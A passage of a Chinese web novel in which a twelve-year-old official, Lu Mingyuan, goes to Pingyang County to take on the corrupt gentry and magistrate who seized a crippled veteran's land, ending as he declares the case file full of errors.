他说着,走到另一张书案前,再次铺开一张公文纸,提起了笔。 这一次,他的笔锋比刚才更加锐利。 字里行间,透出一股金戈铁马的肃杀之气。 这是一封写给温州卫所总兵官的公函。 “温州府同知陆明渊,为查平阳县侵占伤残军士田亩一案,叩请总兵钧鉴。” “戍边将士,为国藩篱,血染疆场,方有海内承平。” “其功当赏,其属当恤,此国之大法,亦军心之所系。” “今有乡绅恶霸,竟敢勾结地方,巧取豪夺伤残军士之功勋田,此举非仅欺压一人,实为动摇军心,蔑视国法!” “为正视听,以儆效尤,本官将亲赴平阳查办此案。” “然,恐地方势力盘根错节,多有阻挠,致使案情不明,真相难见。” “为雷霆扫穴,廓清寰宇,特请总兵大人调拨精锐军士一队,随本官同往,以壮声威,以正国法,以安军心!” 最后四个字“以安军心”,陆明渊下笔极重,墨迹几乎要透出纸背。 他将公函仔细封好,盖上自己的私印与同知官印,递给护卫队长。 “立刻将此函送至总兵府,交予总兵大人亲启。” “告诉他,我陆明渊,在平阳县,等他的兵!” 护卫队长接过那封分量极重的公函,只觉得手心发烫。 他看着眼前这位年仅十二岁的上官。 那张清秀的脸上没有丝毫少年人的稚气,只有运筹帷幄的冷静与俾睨一切的威严。 他终于明白,这七日来府衙内的风传,并非夸大。 这位陆青天,他要查的案子,从来不只是案子本身。 他要动的,是这温州府盘根错节的利益,要变的,是这温州府积弊已久的天! 护卫队长不再多言,重重一抱拳,转身大步流星的离去。 片刻之后,陆明渊带着五名神情肃然的衙役,骑着快马,奔出了温州府城,朝着平阳县的方向,卷起一路烟尘。 一场风暴,已然起于青萍之末。 第200章 好一出陆青天微服私访记的戏码 温州府城,汪家大宅。 与府衙门前那喧嚣激荡的人心不同,此地是一片浸润了数代书香与官宦气的静谧。 回廊曲折,假山叠石! 一池秋水倒映着檐角飞翘的青瓦,偶有锦鲤摆尾,荡开圈圈金色的涟漪。 暖阁内,紫檀木的方桌上,一套汝窑茶具温润如玉,正升腾着袅袅白雾,茶香清洌。 汪家三爷汪智权,用茶筅搅动着碗中的茶末。 他年约四旬,面皮白净,蓄着一部打理得极为整齐的短须。 一身素色杭绸长衫,不见半点金玉配饰,却自有一股富贵逼人的气度。 一名管事模样的中年人,脚步匆匆却又不敢发出太大声响地走了进来。 他在汪智权身侧躬身,压低了声音,将府衙门前发生的事情一五一十地禀报了一遍。 搅动茶末的动作微微一顿,随即又恢复了那不疾不徐的韵律。 汪智权甚至没有抬眼,只是淡淡地“嗯”了一声。 他放下茶筅,端起茶碗,轻轻吹开热气,浅啜了一口。 “一个十二岁的娃娃,倒还真把自己当成包龙图了。” 他轻笑一声,语气里带着一丝成年人对孩童胡闹的宽容与不屑。 “拦驾申冤,当堂立案,亲笔行文……好大的官威,好一出‘陆青天微服私访记’的戏码。” 管事低着头,不敢接话。 汪智权将茶碗放回桌上,发出“嗒”的一声轻响。 他终于抬起眼,那双看似温和的眸子里,却闪过一丝与他文士形象不符的阴鸷。 “平阳县那个赵大富,是我让他去做的。” “何家那十亩功勋田,位置极佳,紧邻着我汪家在平阳新置的百亩桑田。” “若能一并拿下,便可引渠灌溉,连成一片,明年开春,光是丝绸一项,便能多出三成的利。” 他慢条斯理地解释着,像是在说一门精妙的生意经。 “原本一切都妥当了,县衙那边早已打点好,文书做得天衣无缝。” “只等那老兵婆娘熬不住,把人熬死,这事便成了铁案。谁曾想,钻出来这么个愣头青。” 管事小心翼翼地问道:“三爷,那……咱们要不要……” “不必。” 汪智权摆了摆手,嘴角勾起一抹智珠在握的笑容。 “你当赵大富是个蠢货?他能在平阳县那穷山恶水的地方,十几年间攒下万贯家财,靠的不是蛮力,是脑子。” “他比谁都清楚,对付什么样的人,该用什么样的方法。” 他顿了顿,端起茶碗,将剩下的茶汤一饮而尽。 “这个陆明渊,少年得志,最重虚名。” “此番大张旗鼓,无非是想博一个‘为民做主’的好名声。” “你,立刻备一匹最好的快马,挑个最机灵的伙计,走小路去平阳,把府衙的消息透给赵大富。” “告诉他,来的是位金贵的‘陆青天’,让他好生‘伺候’着。” “别用那些上不得台面的手段,脏了同知大人的眼。” “是,三爷,小的明白。” 管事心领神会,躬身退下。 汪智权重新拿起茶壶,为自己续上一杯热茶,目光投向窗外那池秋水。 一个毛头小子,就算顶着状元的光环,又能掀起多大的浪? 这温州府的水,深着呢。 他要查案,便让他查。 等他一头扎进来,碰得头破血流。 他自然会明白,有些人和事,是他一个初出茅庐的黄口小儿,动不得的。 …… 汪家派来的人抄了近路,又不顾马匹死活,一路不停,足足比陆明渊提前了半天赶到平阳县! 到了平阳县后,下人没有丝毫停歇,直奔赵府而来! 平阳县,赵府。 与汪家的清雅不同,这里是另一种截然相反的富贵。 朱漆大门,铜环兽首,门口两座半人高的石狮子,雕工粗犷,却透着一股子蛮横的霸气。 院内灯火通明,酒肉飘香。 主座之上,一个身材痴肥,满面红光的胖子正左拥右抱,与一众本地的乡绅胥吏推杯换盏,好不快活。 此人,正是赵大富。 就在酒酣耳热之际,一名下人连滚带爬地跑了进来,附在他耳边一阵低语。 赵大富脸上的笑容瞬间凝固。 他一把推开怀里的两个美婢,抓着下人的衣领,铜铃般的眼睛瞪得滚。 “你说什么?府里来的同知亲自来了?还接了何家那个小兔崽子的状纸?” 周围的宾客也都停下了杯箸,面面相觑,酒意醒了大半。 然而,这惊愕只持续了短短片刻。 当赵大富听完信使带来的汪三爷的全话后,他脸上的惊慌瞬间烟消云散。 取而代之的,是一种混杂着鄙夷和狂喜的古怪神情。 “哈哈……哈哈哈哈!” 他猛地一拍大腿,肥肉乱颤,爆发出震耳的狂笑。 “我当是什么了不得的大人物,原来是那个十二岁的奶娃娃同知!” “什么陆青天,我看是陆状元读书读傻了,真以为拿着鸡毛就能当令箭了!” 一名县衙的典史凑上前来,谄媚地笑道。 “赵大爷说的是。这案子,在咱们平阳县早已断了。” “这就是一桩寻常的田产租佃纠纷,白纸黑字的文书,谁来了也翻不了案!” “就是!” 另一个乡绅附和道。 “他一个府城的官,还能越过咱们县尊,直接插手不成?这不合规矩!” 赵大富得意地摆了摆手,拿起酒杯一饮而尽,油光光的脸上满是算计。 “你们懂个屁!” 他骂道,“这可是天大的好事!” 众人皆是一愣。 赵大富抹了把嘴,压低了声音,眼中闪烁着贪婪的光芒。 “你们想想,一个十二岁的娃娃,跑到咱们这人生地不熟的地方来,图什么?” “不就是图个名,图个利吗?” “他要名,咱们就给他名!让他装模作样地查一查,最后‘明察秋毫’,维持原判。” “到时候再由咱们平阳县的士绅联名给他送一块‘明镜高悬’的牌匾,送回府城去,他的面子不就有了?” “他要利,那就更好办了!” 赵大富嘿嘿一笑,伸出五根肥硕的手指。 “本大爷有的是银子!别说一个同知,就是知府来了,也得给咱们几分薄面!” “等他到了,先备上一千两的程仪,再从新买的瘦马里,挑两个最水灵的送过去。” “我就不信,他一个毛都没长齐的小子,能抵得住这个?” 一席话说得众人恍然大悟,纷纷拍案叫绝。 “赵大爷高明!” “是啊!非但无过,反而有功!” “这一下,搭上了府里同知大人的线,以后咱们在平阳,还不是横着走?” 赵大富听着众人的吹捧,更是得意忘形,仿佛已经看到了陆明渊拜倒在他金钱美色之下的场景。 他大手一挥,豪气干云地吼道。 “来人!去把账房里最好的那两根金条给我备好!” “再去后院,把‘春桃’和‘夏荷’给我叫来,好生打扮打扮!” “今晚,咱们就让这位从京城里来的‘陆青天’,见识见识咱们平阳县的‘风土人情’!” 整个厅堂,再次充满了污浊而放肆的笑声。 他们谁也没有意识到,一场足以将他们所有人碾为齑粉的风暴,正伴随着黄昏的暮色,悄然降临。 第201章 国有悍卒,血沃玄黄,方得社稷 半日之后,夕阳的余晖将天边烧成一片瑰丽的橘红。 五匹快马卷着一路风尘,出现在了平阳县的地界上。 为首的少年,一身青色官袍在风中猎猎作响。 一名衙役勒住马,凑到陆明渊身侧,恭敬地问道。 “大人,天色已晚,我们是先去县衙落脚,还是……” 陆明渊抬眼望了望远处炊烟袅袅的村落,摇了摇头,声音平静而清晰。 “不去县衙。直接去何家村,何二柱家。” 衙役们微微一怔,随即领命,调转马头,朝着何家村的方向行去。 他们不懂,为何大人不先去拜会地方官,而是直奔苦主家中。 但在过去的七日里,他们已经习惯了这位少年上司不按常理出牌的行事风格,并且,无条件地遵从。 当陆明渊一行人抵达何二柱家门前时,最后一丝天光也隐入了远山之后。 眼前的一幕,让马背上所有人都陷入了沉默。 从何二柱的哭诉中,陆明渊对这家人的窘迫有了心理准备。 但是当他亲眼见到眼前的情景,还是被深深地震撼到了。 这,不能称之为家。 两间低矮的土坯茅屋,在晚风中仿佛随时都会倾塌。 院墙是用稀疏的树枝和竹竿勉强围起来的,破了几个大洞,根本起不到任何遮挡的作用。 院门口的泥土路上,被人恶意地挖了好几个大坑,积着浑浊的污水。 一股难以言喻的恶臭,从院子角落里飘来。 那里,一只早已腐烂的死鸡,正被几只苍蝇围着,上面甚至生出了蛆虫。 破败,凄凉,还带着一种令人作呕的、被欺凌至谷底的绝望气息。 陆明渊坐在马背上,一动不动,只是静静地看着。 他也是农家子出身,在穿越之前,陆家虽不清贫,但也绝谈不上富裕。 可即便是最困难的时候,家里也是窗明几净,院落整洁。 而眼前的这一切,却像一把钝刀,狠狠地剜着他的心。 他此时此刻才真正、深刻地明白。 在这个时代,没有壮年男丁的家庭,会活得多么没有尊严,会沦落到何等任人欺凌的地步。 这不是贫穷,这是人间炼狱的一角。 跟在后面的何二柱,看到陆明渊停在院外,脸上露出羞愧难当的神色。 他从马上跳下来,跑到陆明渊马前,低着头,声音带着哭腔。 “大人……家里……家里乱得很,让大人见笑了。” “我爹他……他身子不便,阿娘和祖母也……家里只有我一个,实在……实在忙不过来……” 陆明渊翻身下马,动作干脆利落。 他没有看何二柱,只是伸出手,轻轻拍了拍这个瘦弱少年的肩膀,摇了摇头。 千言万语,最终只化作两个字:“无妨。” 他迈开脚步,径直朝着那低矮的茅屋走去。 一名衙役想上前推开那扇吱呀作响的破木门,被陆明渊一个眼神制止了。 他亲自上前,抬手,轻轻地叩了叩门板。 “咚,咚,咚。” 三声轻响,带着一种与这破败环境格格不入的尊重。 门内传来一阵慌乱的脚步声,片刻后,门被拉开一道缝。 一张布满皱纹、神情惶恐的老妇人的脸探了出来。 紧接着,一个面容憔悴、头发枯黄的中年妇人也出现在后面。 两人看到门口站着的一身官袍的陆明渊和几名手持水火棍的衙役,吓得脸色煞白,几乎要瘫软在地。 “官……官爷……” “老人家,莫怕。” 陆明渊的声音温和下来,尽可能地放缓了语速。 “本官是温州府同知陆明渊,是何二柱请我来的。我来看看他的父亲,何大勇。” 听到“何二柱”三个字,那中年妇人才回过神来,泪水一下子涌了出来。” “她连忙拉开门,跪倒在地。 “青天大……青天大老爷!您可来了!您可要为我们家做主啊!” 陆明渊将她扶起,迈步走进了里屋。 一股浓重的中药味混合着霉味、汗味扑面而来,几乎令人窒息。 屋里光线昏暗,只有一盏豆大的油灯在风中摇曳。 借着微弱的光,陆明渊看清了屋内的情景。 靠墙的土炕上,躺着一个面色蜡黄、嘴唇干裂的男人。 他很瘦,眼窝深陷,整个人仿佛只剩下一副骨头架子。 他的右腿齐根而断,空荡荡的裤管被随意地掖在腰间,显得异常刺眼。 听到动静,何大勇艰难地睁开眼睛。 当他看到陆明渊身上的青色官袍时,浑浊的眼中闪过一丝光亮。 他挣扎着,用手肘撑着炕,想要坐起来。 “罪......罪.....民,民何大勇,参见……参见大人……” 他的声音嘶哑得如同破锣,每一个字都耗尽了力气。 陆明渊快步上前,按住了他的肩膀,沉声道:“躺下,莫动。” 他的手掌,感受到的是对方瘦骨嶙峋的肩胛,和那身因常年伤痛而微微发颤的躯体。 何大勇却执拗地摇着头,眼中竟泛起泪光。 他看着陆明渊,嘴唇哆嗦着,像一个受了天大委屈的孩子,终于见到了能为自己撑腰的家人。 “大人……下官……下官曾是……是台州府镇辖下,龙门卫的一名总旗……下官,不是罪民……” 这一声“下官”,让在场所有衙役心中都是一震。 他们眼前的,不仅仅是一个被地主欺压的伤残老兵,更是一位曾经拥有官身的朝廷武官! 陆明渊的心,也仿佛被重锤狠狠地敲了一下。 他看着何大勇那张饱经风霜与痛苦的脸,看着他眼中残存的、属于军人的最后一丝尊严与不甘。 陆明渊缓缓地松开了手,退后一步,对着炕上的何大勇,郑重地,作了一个揖。 “本官陆明渊,见过何总旗。” “国有悍卒,血沃玄黄,方得社稷安康。” “何总旗为国戍边,身受重伤,乃我大乾之功臣。” 陆明渊直起身,目光缓缓扫过这间家徒四壁、连一丝光亮都显得奢侈的茅屋。 扫过那空荡荡的裤管,扫过何大勇妻子和老母脸上绝望的泪痕。 他的声音不大,却字字如铁,清晰地回荡在这压抑的空间里,也重重地砸在每一个人的心上。 “功臣不应受辱,英雄不该流泪。” “你所受之冤,所遭之苦,本官……今日,亲眼见到了。” 他转过身,深邃的眼眸里,再无一丝一毫的温和。 取而代之的,是比北疆寒冬更为彻骨的冰冷与肃杀。 “来人。” “在!” 五名衙役齐声应道,声若洪钟。 “持我官牌,立刻前往平阳县衙。” “告诉平阳知县,温州府同知陆明渊,现在,要提审乡绅赵大富!” …… 第202章 这哪是查案,分明是来兴师问罪 “持我官牌,立刻前往平阳县衙。告诉平阳知县,温州府同知陆明渊,现在,要提审乡绅赵大富!” 马蹄声骤然响起,又飞速远去。 茅屋之内,陷入了一种奇异的寂静。 ........ 是夜,平阳县衙。 后堂的值房里,烛火昏黄。 知县孟康早已回了后宅安歇,美妾温酒,好不快活。 对于他而言,这平阳县就是他的一亩三分地,只要不出民乱,不死上太多人,便是天下太平。 唯有县丞孔明华,还在枯坐着处理一些琐碎的文书。 他四十出头的年纪,一张国字脸上带着几分挥之不去的愁苦。 在这平阳县做了六年的县丞,头上的乌纱没见长,两鬓的白发却添了不少。 他放下笔,揉了揉酸涩的眼睛,端起早已凉透的茶水喝了一口,满嘴苦涩。 在这官场里,想活得久,就得学会把眼睛闭上,把耳朵堵上,把良心……藏起来。 他正自嘲地想着,门外忽然传来一阵急促的脚步声。 一名当值的皂隶连滚带爬地冲了进来,脸上满是惊惶。 “孔……孔大人!不好了!出大事了!” 孔明华眉头一皱,不悦道。 “慌慌张张,成何体统?天塌下来了不成?” 那皂隶喘着粗气,指着门外,话都说不利索了。 “府……府里来人了!是……是府尊大人的官牌!说……说是同知陆大人……要,要连夜提审赵大富!” “什么?!” 孔明华“霍”的一下从椅子上站了起来,手中的茶杯失手滑落,“啪”的一声在地上摔得粉碎。 他整个人如遭雷击,脑子里“嗡”的一声,一片空白。 同知陆大人? 那个十二岁的状元郎? 他怎么会来?还来得这么快,这么突然? 不入县衙,不拜官贴,直接就要提审赵大富? 这哪里是查案,这分明是来兴师问罪的! 一种巨大的恐惧瞬间攫住了他的心脏。 他比谁都清楚,何家的案子经不起查,尤其经不起这种不按常理出牌的人来查! “人……人在哪里?” 孔明华的声音都在发颤。 “在……在城西的何家村!何二柱家!” 孔明华的脸“唰”地一下白了。 完了。 这位小祖宗,竟是直奔苦主家里去了! 他不敢再有片刻迟疑,也顾不上通报已经歇下的知县大人,一边声嘶力竭地吼着。 “快!备马!点齐人手!”。 他一边慌乱地整理着自己的官服,几乎是手脚并用地冲出了值房。 夜风凄冷,吹在他身上,他却只觉浑身燥热,冷汗已经浸透了内衫。 他带着一队举着火把的衙役,在寂静的街道上纵马狂奔。 马蹄声敲碎了平阳县城的宁静,也敲得孔明华的心脏几乎要从嗓子眼里跳出来。 当他带着人手,气喘吁吁地赶到何家村,来到那座破败的仿佛随时会倒塌的茅屋前时。 他看到了此生都难以忘怀的一幕。 火把的光芒下,那位传说中的少年同知,正静静地站在院中。 他身边,只跟着三名同样沉默的衙役,四个人,就如四尊雕像,散发着一种令人窒息的压迫感。 而他们的对面,是跪了一地的何家老小,还有闻讯赶来的、同样衣衫褴褛的乡邻。 没有人说话,但那种无声的控诉,那种积压已久的愤怒与绝望,形成了一股足以撼动山岳的气场。 孔明华只觉得两腿发软。 他从马上滚了下来,踉踉跄跄地跑到陆明渊面前,深深一揖到底。 “下官平阳县丞孔明华,不知陆大人驾到,有失远迎,罪该万死!” 陆明渊缓缓转过身。 他的脸上没有什么表情。 那双在火光中明明灭灭的眸子,幽深得像一口古井。 孔明华看了一眼,便心惊肉跳地低下头去,不敢再看第二眼。 “知县何在?” 陆明渊的声音很平静,听不出喜怒,但孔明华却觉得比冬日的冰碴子还要冷。 “回……回大人,孟知县……他,他家中有要事处理,已……已先行返回宅邸” “……下官……下官可代为处理县中一切事务!” 孔明华结结巴巴地解释道,冷汗顺着额角滑落。 陆明渊点了点头,话锋却陡然一转。 “孔县丞,你可曾来过这里?” 孔明华的心猛地一沉,支支吾吾的答道。 “下……下官……未曾到过何家……但是,但是那块地,下官是去看过的……” 他急于撇清关系,连忙补充道。 “大人明鉴,下官知道此案经过,何家状告赵大富强占田产。” “赵大富状告何家持械伤人!” “但……但是县衙查验过文书,也去实地丈量过,一切……一切都合乎规矩,流程上,并无不妥之处!” “至于赵家侍卫之伤,也经过查验,乃是新伤!” 他说完,偷偷抬眼觑了觑陆明渊的神色。 却见那少年嘴角竟勾起一抹极淡的,仿佛是嘲讽般的笑意。 “孔县丞倒是消息灵通。” 陆明渊的声音依旧平淡。 “本官初到平阳,直奔此地,你如何就知晓,本官是为了何家的田地而来?” 他顿了顿,目光陡然变得锐利起来。 “难不成……是因为孔县丞也知道,这‘合乎规矩’的案子里,另有天大的冤情?” “轰!” 孔明华只觉得脑子里像是有个炸雷响起,整个人都懵了。 他上当了! 他被这个十二岁的少年,用一句轻飘飘的话,就给诈出了心里的鬼! 他承认自己知道此案,就等于承认自己明知此案有问题! 因为如果案子真的毫无问题,他一个县丞,又怎会把一件寻常的民事纠纷记得如此清楚。 甚至在同知大人驾临的第一时间,就联想到这上面来? 冷汗,瞬间湿透了后背。 孔明华的嘴唇哆嗦着,大脑飞速运转,想要找个理由搪塞过去。 “不……不是的大人!大人误会了!” 他慌忙摆手,脸上挤出一个比哭还难看的笑容。 “是……是因为那何二柱,几乎天天都到县衙鸣冤,一连数月,风雨无阻……” “下官也是时常听堂下的衙役们提起,所以……所以印象深刻。” “今日见大人亲临此地,这才……这才斗胆猜测,是何二柱将状纸递到了大人您那里……” 这个解释听起来似乎也算合理,但孔明华自己都知道,它有多么苍白无力。 果然,陆明渊脸上的笑意更冷了。 “哦?天天鸣冤?” 他向前踏了一步,那股无形的压力让孔明华下意识地后退了半步。 “既然有人日日鸣冤,月月不止,为何不审?为何不查?” 陆明渊的声音陡然拔高! “是有意包庇,还是说……这桩天大的冤案,本就是你孔县丞一手所为?” “不!不是我!下官冤枉啊!” 这顶帽子太大了,大到孔明华根本戴不起! 他再也顾不上什么官场体面,什么遮掩回旋。 他“噗通”一声就跪倒在地,整个人都崩溃了。 “大人明鉴!此案……此案是知县孟大人亲自督办的!” “所有的文书,所有的证据,都是孟大人亲自审核过的!他说证据确凿,是铁案!” “下官……下官只是一个县丞,人微言轻,无能为力啊!” 他涕泪横流,将所有的责任一股脑地推到了知县孟康的身上。 “在这平阳县,什么都得听知县大人的!” “下官……下官是真的不敢违逆啊!求大人明察!求大人明察啊!” 他一边哭喊,一边重重地磕着头。 茅屋内外,所有人都被这突如其来的一幕惊呆了。 谁也没想到,平日里在县城也算是一号人物的县丞大人。 如今被这位少年同知三言两语,就逼到了这般狼狈不堪的境地。 陆明渊看着跪在地上,涕泪横流,状若疯癫的孔明华,眼神中的冰冷与锐利,缓缓地收敛了起来。 他看出来了。 这个孔明华,虽有失职之过,有同流合污之嫌。 但终究,那份读书人应有的良知,还没有被官场的污水彻底淹没。 他会害怕,会推诿,会把责任推给上官。 这恰恰说明,他心里还存着一丝对错与是非的敬畏。 他不像赵大富那般无法无天,也不像那未曾谋面的孟知县和汪三爷一样,视人命如草芥。 这样的人,还有救。 也,还有用。 “起来吧。” 陆明渊淡淡地说道。 孔明华闻言一愣,抬起沾满泥土和血迹的额头,不敢置信地看着陆明渊。 陆明渊没有再看他,而是转身,最后望了一眼那躺在炕上,正死死盯着自己的何大勇。 他没有再说什么安慰的话。 迈开脚步,从孔明华的身边走过,青色的官袍下摆,在夜风中划出一道决然的弧线。 “带路。” 他的声音,重新恢复了那种不带一丝感情的平静。 “本官,要亲自去县衙,查看此案的所有卷宗,所有证据。” 这平阳县的天,真的要变了。 这个念头如同一道闪电,劈开了孔明华心中积郁多年的阴霾。 他浑身一个激灵,竟从那无边的恐惧中,品出了一丝近乎扭曲的快意。 他连滚带爬地从地上站起来,也顾不得拍去官袍上的尘土。 他躬着身子,颤声道。 “大人……大人请,下官……下官这就为您带路!” 第203章 陆大人好大的官威! 孔明华不敢走在前面,只敢落后半个身位,小步快跑地跟着。 他一边走,一边压低声音对自己最信任的一名心腹皂隶吩咐道。 “快!从后街小路去知县大人的宅邸!告诉孟大人,就说温州府同知陆大人亲至,乃是为了何家的案子。” “如今正在去县衙的路上了!让他无论如何,务必……务必速速赶来!” 那皂隶也是个机灵人,知道此事关系重大。 他重重一点头,便悄无声息地脱离了队伍,闪身没入了旁边的一条漆黑巷弄之中。 一行人举着火把,如同一条火龙,在平阳县寂静的街道上穿行。 马蹄声与脚步声交织在一起,惊得沿街的犬吠此起彼伏,也惊醒了不少从睡梦中探出头来的百姓。 他们畏惧地看着这队官差。 看着那走在最前方的、身形单薄却气势迫人的少年官袍,心中充满了疑惑与惊惧。 平阳县衙,终于到了。 高大的石狮,朱红的漆门,门前悬挂着的两盏巨大的灯笼,在夜风中摇曳。 “平阳县”三个大字的牌匾被映照得森然肃穆。 还未踏入县衙大门,一股混合着饭菜的香气便从里面飘了出来,在这清冷的夜里,显得格外诱人。 孔明华眼睛一亮,仿佛抓到了一根救命稻草,连忙凑上前去,脸上堆满了谄媚的笑容。 “陆大人,您看,这天色已晚,您从温州府一路舟车劳顿,想必早已饥肠辘辘。” “下官已经命后厨备下了一些粗茶淡饭,不如……不如先到花厅用些便饭,暖暖身子?” “正好,也等等孟大人,他处理完家事,想必很快就能赶到了。” 这番话说得滴水不漏,既体贴了上官,又巧妙地想拖延时间。 在他看来,只要这位小祖宗肯坐下来吃饭,那事情就有了转圜的余地。 酒桌之上,三杯两盏淡酒下肚,什么事情都好商量。 再者,只要拖到孟知县赶来,这天大的压力,自然也就有高个子顶着了。 然而,陆明渊却连眼皮都未曾抬一下。 他停下脚步,目光越过孔明华,直直地望向县衙深处。 “不必。” 他只说了两个字,声音不大,却带着一种不容置疑的决断。 “本官不饿。” 他侧过头,冰冷的目光落在孔明华那张挤满笑容的脸上。 “带本官去案牍库。” 孔明华脸上的笑容瞬间僵住。 他知道,今夜,绝无可能善了。 “是……是,大人这边请。” 孔明华再也不敢耍任何心眼,垂头丧气地在前面引路。 穿过仪门,绕过大堂,径直走向了县衙后院一处偏僻的院落。 这里便是县衙的案牍库,存放着平阳县数十年来所有案件卷宗的地方。 院门紧锁,两名负责看守的年老书吏听到动静,提着灯笼走了出来。 看到孔明华,两人连忙躬身行礼:“孔大人,您怎么来了?” 孔明华指了指身后的陆明渊,涩声道。 “这位是温州府同知陆大人,要来查阅卷宗,快,把何二柱一案的卷宗取出来。” 两名老书吏闻言,浑浊的眼睛里闪过一丝惊疑,他们对视一眼,其中一人陪着笑脸上前一步,为难道。 “回禀两位大人,这……这案牍库有案牍库的规矩。” “没有县尊大人的手令,这库里的卷宗……小的是万万不敢擅自动的,还请……还请大人体谅。” 他们在这县衙里待了一辈子,最懂的就是规矩。 在他们看来,知县孟康才是这平阳县的天,什么府城的同知,终究是外人。 孔明华急得满头是汗,正要开口呵斥,陆明渊却先一步开了口。 “哦?既然如此,那本官就在这里等上一等!” “我倒是要看看,这平阳县究竟是听国法,还是挺他孟县尊的一言之堂!” 就在这剑拔弩张,一触即发之际,一个冰冷而充满怒意的声音,忽然从院门口传来。 “陆大人好大的官威!” 众人循声望去,只见一个身着绯色官袍,面容白净,留着三缕长髯的中年官员,龙行虎步地走了进来。 来人,正是平阳知县,孟康! 他径直走到陆明渊面前,一双鹰隼般的眼睛死死地盯着他,嘴角挂着一丝若有若无的冷笑。 “陆同知,本官敬你是府尊同僚,是朝廷钦点的状元郎。” “但你深夜带人闯我县衙,威逼我的下属,这未免……也太不把本官这个平阳知县放在眼里了吧?” 他向前一步,气势逼人。 “本官想请问陆大人,你来我平阳县办案,可有吏部的公文?可有巡抚衙门的调令?” “何家一案,我平阳县衙早已审结,人证物证俱全,卷宗清晰,判决无误,早已是铁案!” “你仅凭那刁民的一面之词,就要来翻案?” 他的声音越来越大,带着一股质问的意味。 “若是天下所有案子,都因败诉之人不服申冤,州府便派人下来重审。” “一句话就要提看卷宗,那我等县官,究竟还要不要办差?” “我这知县之尊,究竟是真是假?朝廷法度,又何在?” 这一番话,说得是掷地有声,句句在理。 他将这件事,从一个案子,上升到了朝廷法度、官场规矩的高度。 反倒是将陆明渊置于了一个逾越规矩、以势压人的境地。 孔明华在一旁听得心惊肉跳。 面对孟康咄咄逼人的质问,陆明渊的脸上,没有丝毫的慌乱。 他嘴角反而勾起了一抹极淡的,仿佛是嘲讽般的笑意。 他没有直接回答孟康的问题,反而像是闲聊一般,轻声开口道。 “孟知县可知,本官在京都时,发生过一桩趣事?” 孟康眉头一皱,不知他葫芦里卖的什么药。 只听陆明渊悠悠说道。 “那时尚未殿试,本官偶遇工部侍郎裴宽之子,当街强抢民女,行凶杀人。京兆府初审,判了个罚银了事。” 他顿了顿,看着孟康的眼睛,那眼神平静得可怕。 “后来,本官同数百学子,以民愤为剑,以公理为鞘,逼得京兆府府尹王文成,顶不住压力,只得重审此案。” 陆明渊的嘴角笑意更深了些,只是那笑意里,没有半分暖意。 “最终,裴侍郎之子,问斩。工部侍郎裴宽,上书告病,致仕还乡。” 他说完,不再看孟康,反而将目光转向了早已吓得面无人色的孔明华。 “孔县丞,你说,这算不算是不合规矩?” 孔明华哪里敢答话,只是一个劲地哆嗦。 陆明渊这才将目光重新移回到孟康那张已经开始变色的脸上,声音依旧平淡,却字字诛心。 “孟大人方才说,本官没有公文,没有调令,不能仅凭一人申冤,便来查看卷宗。” “这番话说得……很有道理。” 他向前踏了一步,那股无形的压力,让刚刚还气势汹汹的孟康,竟下意识地后退了半步。 “那么,本官现在便问问孟大人。” 陆明渊的声音陡然压低。 “若是我今夜再回何家村,将何大勇那样的功臣,将那些被夺了土地、叫天天不应、叫地地不灵的百姓,都请到你这县衙门前……” 他的目光陡然变得锐利起来。 “让他们来此鸣冤,来此喊一喊这‘青天’何在!” “届时,这滔天的民愤,够不够你孟大人,为本官开一次这案牍库的门?!” “轰!” 孟康只觉得一股寒气从脚底板直冲天灵盖。 那京都传来的关于这位少年状元的种种风闻,狠狠扎在他的心上。 疯子! 这个十二岁的少年,根本就是个不按常理出牌的疯子! 他竟然想在平阳县,复制他在京都的所作所为! 孟康毫不怀疑,只要自己再敢说一个“不”字,这个少年真的会这么做! 到时候,事情一旦闹大,捅到温州府,捅到巡抚衙门。 别说他一个小小的知县,便是背后的汪家,恐怕都兜不住! 冷汗,瞬间浸透了他的官袍。 他看着眼前这张稚气未脱,却又冷酷到极点的脸,终于明白,自己从一开始就错了。 自己面对的,根本不是一个可以拿官场规矩来拿捏的同僚。 孟康的嘴唇哆嗦着,脸上一阵青一阵白。 他死死地攥着拳头,指甲几乎要嵌进肉里。 良久,他才从牙缝里,挤出了几个字。 “开……门!” 他几乎是嘶吼着对那两个早已吓傻的书吏下令。 “让陆大人……看!” 两个书吏如闻纶音,手忙脚乱地掏出钥匙,打开了那把沉重的铜锁。 “吱呀——” 一声悠长的、令人牙酸的摩擦声响起,案牍库那扇尘封的木门,缓缓打开。 第204章 在本官看来,不过是一堆废纸! 一排排木架上,塞满了颜色深浅不一的卷宗,从发黄的陈年旧案,应有尽有。 “将何二柱一案的卷宗取来。” 陆明渊的声音在这过分安静的空间里显得格外清晰。 那两名老书吏不敢怠慢,一人提着灯笼引路,一人在书架间快速地翻找。 很快,便捧着一卷封存完好的卷宗,恭恭敬敬地递了上来。 孔明华连忙上前接过,想要在陆明渊面前献个殷勤。 陆明渊只是摆了摆手,示意他放到一旁那张积了厚厚一层灰的旧书案上。 陆明渊走到书案前,修长白皙的手指轻轻解开了系着卷宗的绳结,缓缓将其展开。 一时间,整个案牍库内,只剩下纸张展开时那细微的“沙沙”声,以及火把燃烧时偶尔发出的“噼啪”轻响。 孟康站在不远处,背着手,下颌微微扬起。 他眼中的惊怒与慌乱,在陆明渊开始看卷宗的那一刻,便已悄然褪去。 取而代之的,是一种近乎稳操胜券的自负与冷笑。 他看着那个在火光下认真审阅的少年,心中不禁冷哼。 这案子,是他孟康亲自督办的。 从人证到物证,从口供到画押,每一个环节都天衣无缝。 这等铁案,便是大理寺的卿正来了,也翻不出半点浪花。 你陆明渊就算是状元郎,是天子门生,又能如何? 在如山的铁证面前,你所谓的才智,所谓的手段,不过是笑话而已。 时间,在沉默中一点一滴地流逝。 终于,陆明渊放下了手中的卷宗。 他没有立刻说话,只是抬起头,静静地看着孟康。 孟康被他看得有些发毛,但一想到那无懈可击的卷宗,胆气复壮。 他嘴角一撇,那股属于一县主官的傲慢与嚣张再次浮现在脸上,率先打破了这令人窒息的沉默。 “陆同知,看完了?” 他的声音里带着一丝毫不掩饰的讥讽。 “不知,此案可有错漏之处啊?” 他几乎已经能预见到,这个不知天高地厚的小子,只能悻悻然地承认此案无错,然后灰溜溜地离开平阳县。 届时,他孟康不仅挫败了府城同知的威风,更是在整个温州府的官场上,立下了自己的威名。 孔明华与那两名书吏,也都屏住了呼吸,紧张地看着陆明渊,等待着他的回答。 然而,陆明渊的回答,却如同一道惊雷,在所有人的耳边炸响。 他薄唇轻启,吐出的字句,冰冷而决绝。 “此案,错漏百出!” “什么?!” 